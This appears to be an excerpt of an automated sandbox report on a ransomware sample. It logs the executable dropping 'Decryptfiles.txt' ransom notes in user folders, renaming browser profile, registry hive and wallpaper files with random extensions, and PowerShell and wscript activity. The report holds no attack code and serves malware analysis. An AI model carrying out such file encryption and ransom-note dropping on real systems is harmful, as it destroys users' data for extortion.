Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\.metadata-v2 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.YnEI offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.ljOI offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.tiBv offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.gJOW offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.hQNu offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.MclI offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\times.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite offset: 98304
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-wal.nxmV offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\xulstore.json.EBes offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\times.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\_curlrc.SbgX offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Contacts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Amazon.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Bing.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Facebook.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Links\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Live.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\NYTimes.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Twitter.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Wikipedia.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Links\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Favorites\Youtube.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\NTUSER.DAT.PjJC offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\ntuser.dat.LOG1.zFIM offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\ntuser.dat.LOG2.yrbT offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\OneDrive\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Recent\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\ntuser.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Saved Games\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Searches\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\_curlrc.QhjT offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\AccountPictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Documents\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Music\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Pictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Videos\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Downloads\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Libraries\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\Public\Libraries\RecordedTV.library-ms offset: 0
Source: C:\Windows\System32\wbem\WMIC.exe	File written: \Device\ConDrv offset: 48
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 4112
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\NTUSER.DAT.puvR offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\ntuser.dat.LOG1.qsaN offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\ntuser.dat.LOG2.yVIk offset: 0
Source: C:\Windows\System32\wbem\WMIC.exe	File written: \Device\ConDrv offset: 48
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 4112
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\NTUSER.DAT.chGf offset: unknown

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\SoftwareClient Private

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
